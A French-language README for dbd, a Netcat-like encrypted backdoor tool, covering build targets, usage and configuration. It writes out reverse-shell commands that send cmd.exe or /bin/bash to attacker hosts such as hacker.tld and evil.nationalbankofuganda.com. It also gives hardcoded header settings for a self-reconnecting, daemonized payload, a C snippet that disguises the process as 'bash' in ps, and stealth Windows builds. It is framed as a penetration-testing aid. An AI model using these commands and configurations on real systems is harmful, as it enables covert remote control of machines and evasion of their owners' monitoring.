
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd est distribué sous licence GNU GPL #Binaire Mipsbe ajouté par Darkerego [https://github.com/darkerego] [(mailto:[email protected])]
###SYNOPSIS
dbd est un clone de Netcat, conçu pour être portable et offrir un chiffrement robuste. Il fonctionne sur les systèmes d'exploitation de type Unix et sous Microsoft Win32. dbd propose un chiffrement AES-CBC-128 + HMAC-SHA1 (par Christophe Devine), l'exécution de programmes (option -e), le choix du port source, la reconnexion continue avec délai, ainsi que quelques autres fonctionnalités pratiques. dbd ne prend en charge que les communications TCP/IP. Le code source et les binaires sont distribués sous licence GNU General Public License.
###COMPILATION
$ make
usage:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - native win32 console app (w/ Cygwin + MinGW)
make win32bg - create a native win32 no-console app (w/ Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
make mingw - native win32 console app (w/ MinGW MSYS)
make mingwbg - native win32 no-console app (w/ MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
make cygwin - Cygwin console app
make darwin - Darwin
cross-compile options:
make mingw-cross - win32 cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross - win32 no-console cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch
roll up a tarball (move your compiled stuff to binaries/ first:
make dist - create tarball with source files, readme, and binaries/
Pour compiler dbd sous un système d'exploitation de type Unix, vous avez besoin de gcc et des outils de développement appropriés. Pour Linux, FreeBSD, NetBSD, OpenBSD (et éventuellement d'autres), tapez :
$ make unix
Pour SunOS/Solaris, tapez :
$ make sunos
Pour compiler dbd sous Microsoft Windows (NT/2K/XP/2K3), vous avez besoin de MinGW+MSYS, ou de Cygwin avec le support de développement complet (le MinGW gcc de Cygwin). Pour compiler une application console Win32 native de dbd sous Cygwin, tapez :
$ make win32
ou, sous MSYS :
$ make mingw
Pour compiler une application sans console (« WinMain ») sous Cygwin, tapez :
$ make win32bg
ou, sous MSYS :
$ make mingwbg
Pour compiler une application console spécifique à Cygwin, tapez :
$make cygwin
Vous souhaiterez peut-être modifier le comportement par défaut de dbd. L'une des choses les plus importantes est de remplacer le secret partagé par défaut par votre propre phrase de passe. Modifiez dbd.h et remplacez-le par vos préférences. Vous pouvez, par exemple, vouloir coder en dur un hôte + un port auquel se connecter si dbd est lancé sans options. Des exemples complets sont fournis dans dbd.h.
###EXEMPLES D'UTILISATION
Avec un peu d'imagination, dbd peut être utilisé pour de nombreuses choses :
Utilisez dbd pour transférer des fichiers en toute sécurité entre deux réseaux :
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
ou depuis win32 :
C:\somedir>type input.fil | dbd -k secret snafu 12345
Utilisez dbd comme un chat simple (mais sécurisé) :
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
Utilisez dbd comme porte dérobée (backdoor) pour les tests d'intrusion :
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
ou sous les OS de type Unix :
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###OPTIONS CODÉES EN DUR
En plus d'utiliser les options de la ligne de commande, vous pouvez coder des variables en dur en utilisant des #define dans dbd.h. Pour ce faire, définissez les variables que vous souhaitez utiliser comme constantes nommées et compilez normalement. Par exemple, si vous vouliez coder en dur un exécutable dbd qui se reconnecterait à « evil.nationalbankofuganda.com » sur le port 995 et exécuterait « /bin/bash », vous pourriez lancer :
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
ou, en utilisant des #define codés en dur, vous pourriez modifier dbd.h :
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
Vous pouvez également définir les options de résurrection (respawn) et de furtivité pour aider à maintenir votre connexion :
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
Cela configurera la connexion pour qu'elle se démonise (« melt » dans le jargon des malwares), n'envoie jamais de sortie vers STDOUT et tente de relancer la connexion toutes les 15 minutes si elle venait à se déconnecter du listener.
###TECHNOLOGIE DE CAMOUFLAGE ROMULIENNE
Entrons maintenant dans le vif du sujet. Une fois que vous êtes un maître dans l'art de coder en dur des options dans votre porte dérobée, vous pouvez utiliser ce qui est sans doute la constante nommée la plus amusante à notre disposition : CLOAK. Pour ce faire, définissez simplement la valeur :
#define CLOAK 1
NOTE : cela ne fonctionne actuellement que sur les compilations *nix. À terme, je prévois d'ajouter la migration/le hooking de processus Win32 afin que ces cibles puissent également recevoir un peu d'amour romulien.
Pour les environnements *nix, cette option nettoie argv[0] et le remplace par la chaîne « bash\0 ». Elle nettoie également toutes les autres argv[] (ce serait ridicule si ps renvoyait « bash -e /bin/bash someremotehost.com 443 », n'est-ce pas ?) J'espère qu'il va sans dire que vous NE POUVEZ PAS UTILISER CETTE OPTION À MOINS DE CODER EN DUR VOS VARIABLES DANS DBD.H. En outre, si vous testez cela sur votre propre système, ce sera amusant de choisir le bon pid à tuer. ;)
N'hésitez pas à utiliser ce nettoyeur dans tout ce sur quoi vous travaillez :
//grab our named constant
int cloak = CLOAK;
//Engage cloaking device
if(cloak)
{
#ifdef WIN32
//stub
#else
//change argv[0] to say bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###AVERTISSEMENT
Ne transmettez pas d'entrée mise en cache (un fichier contenant des commandes ou similaire) à une session « dbd -e » en écoute. « dbd -e » utilise des tubes (pipes) pour transmettre les données entre le programme exécuté et dbd. Les tubes sont utilisés (au lieu de simples descripteurs de fichiers dupliqués en pass-through) en raison du chiffrement entre les tubes et la socket. Afin d'empêcher l'extrémité d'écriture de l'un des tubes de bloquer tout le processus, je l'ai transformée en descripteur non bloquant. Il y a un risque que, lorsqu'une trop grande quantité d'entrée est transmise d'un coup au programme -e, elle soit tronquée (coupée), car le tampon du tube (dans l'OS) ne peut pas contenir toutes les données. Ce problème peut être résolu en rendant dbd multi-threadé par exemple, mais j'éviterai cela le plus longtemps possible pour des raisons de compatibilité.
##COMPILATION CROISÉE
Étant donné que dbd a été conçu pour interopérer avec d'autres outils/frameworks, make permet désormais la compilation croisée win32 sur les systèmes Linux disposant de la chaîne d'outils mingw32-gcc. Ces options sont presque identiques à leurs équivalents natifs Windows, avec l'ajout de « -cross » après la compilation choisie. Exemple :
$ make mingw-cross
fera la même chose sur un système Linux que
$ make mingw
ferait sur un système win32 avec mingw/msys installé.
Actuellement, toutes les options de compilation croisée sont conçues pour Kali Linux, mais devraient fonctionner sur n'importe quel *nix avec un peu d'amour. Si vous avez mingw32-gcc installé et que make ne compile pas, modifiez la variable WCC en haut du Makefile et indiquez le chemin vers votre binaire mingw32-gcc.
À partir de dbd-1.5, vous pouvez utiliser n'importe quelle chaîne d'outils de compilation croisée pour compiler dbd en définissant le préfixe de la chaîne d'outils comme CROSS_COMPILE. Par exemple, compiler une version arm est aussi simple que :
$ make unix CROSS_COMPILE=arm-linux-gnueabi-
##SORCELLERIE AVANCÉE
Si vous souhaitez intégrer dbd à un framework d'exploitation, vous pouvez écrire un module qui génère un dbd.h personnalisé avec des options de configuration spécifiques à votre cible. Tout ce qui n'est pas explicitement #defined dans ce fichier utilisera quand même les valeurs par défaut, vous n'avez donc pas besoin de tout écrire dans l'en-tête. Exemple : supprimez le fichier dbd.h et remplacez-le par :
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"
appelez ensuite make pour construire une charge utile (payload) à connexion automatique avec camouflage et résurrection, qui se reconnecte à un agent dbd en écoute sur evil.nationalbankofuganda.com lancé avec les options :
$ dbd -l -p 995 -k customcrypto
Une autre astuce avancée consiste à compiler dbd avec dietlibc ou uClibc. Pour compiler un agent dbd linux avec dietlibc, utilisez :
$ make unix CROSS_COMPILE="diet -Os "
Faites attention à l'espace après le s dans la chaîne. Cela permet au Makefile d'ajouter gcc avec les CFLAGS et LDFLAGS standard afin que votre agent se compile correctement. L'avantage d'utiliser dietlibc est qu'il produit un exécutable 100 % statique très petit pour l'environnement cible (environ 70K pour un agent dbd linux avant compression, contre les 700K+ standard avec glibc et gcc -static). Utiliser uClibc est encore plus simple, puisqu'il suffit de définir le préfixe de compilation croisée de votre chaîne d'outils dans CROSS_COMPILE.
##LICENCE
dbd Copyright (C) 2013 Kyle Barnthouse [email protected]
Ce programme est un logiciel libre ; vous pouvez le redistribuer et/ou le modifier selon les termes de la GNU General Public License telle que publiée par la Free Software Foundation ; soit la version 2 de la Licence, soit (à votre choix) toute version ultérieure.
Ce programme est distribué dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ; sans même la garantie implicite de QUALITÉ MARCHANDE ou d'ADÉQUATION À UN USAGE PARTICULIER. Consultez la GNU General Public License pour plus de détails.
Vous devriez avoir reçu une copie de la GNU General Public License avec ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
L'implémentation AES-CBC-128 + HMAC-SHA1 de dbd est Copyright (C) Christophe Devine [email protected] et est distribuée sous la GNU General Public License (GPL).
Certains codes (pour doexec_win32.h) sont dérivés de doexec.c du port Win32 de Netcat (C) Weld Pond et hobbit. Des parties de doexec.c sont Copyright (C) 1994 Nathaniel W. Mishkin (le code de doexec.c était à l'origine dérivé de rlogind.exe).
La version originale de Netcat a été écrite par hobbit [email protected]. La version NT a été réalisée par Weld Pond [email protected].
(C) Kyle Barnthouse [email protected]
Consultant en sécurité
gitbrew.org
Hephaestus Security